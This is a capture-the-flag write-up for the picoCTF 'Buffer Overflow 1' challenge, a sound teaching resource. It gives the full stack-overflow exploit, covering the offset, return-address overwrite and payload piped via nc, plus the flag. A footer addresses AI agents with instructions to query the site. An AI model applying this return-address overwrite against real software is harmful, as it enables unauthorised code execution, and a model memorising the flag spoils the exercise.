> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/binary-exploitation/buffer-overflow-1.md).

# Buffer Overflow 1

Exploit a buffer overflow to overwrite the return address and jump to `win()`.

### 1. Find the offset

Generate a cyclic pattern:

```bash
python3 -c "from pwn import *; print(cyclic(100))"
```

Send it to the program:

```bash
./vuln
```

Paste the pattern.

Program crashes and shows:

```
Jumping to 0x6161616c
```

### 2. Convert crash value → offset

```bash
python3 -c "from pwn import *; print(cyclic_find(0x6161616c))"
```

Result:

```
44
```

So:

```
offset = 44
```

### 3. Confirm control of EIP

Test:

```bash
python3 -c "import sys; sys.stdout.buffer.write(b'A'*44 + b'BBBB')" | ./vuln
```

If EIP becomes:

```
0x42424242
```

then control is confirmed.

### 4. Find target function

In GDB:

```gdb
info functions
```

You saw:

```
0x080491f6  win
```

### 5. Convert address to little endian

```
0x080491f6 → \xf6\x91\x04\x08
```

or:

```python
p32(0x080491f6)
```

### 6. Build final payload

```python
b"A"*44 + b"\xf6\x91\x04\x08"
```

### 7. Send exploit

```bash
python3 -c "import sys; sys.stdout.buffer.write(b'A'*44 + b'\xf6\x91\x04\x08')" | nc saturn.picoctf.net 61686
```

### Result

Program jumps to:

```
0x080491f6 → win()
```

and prints:

```
picoCTF{addr3ss3s_ar3_3asy_6462ca2d}
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/binary-exploitation/buffer-overflow-1.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
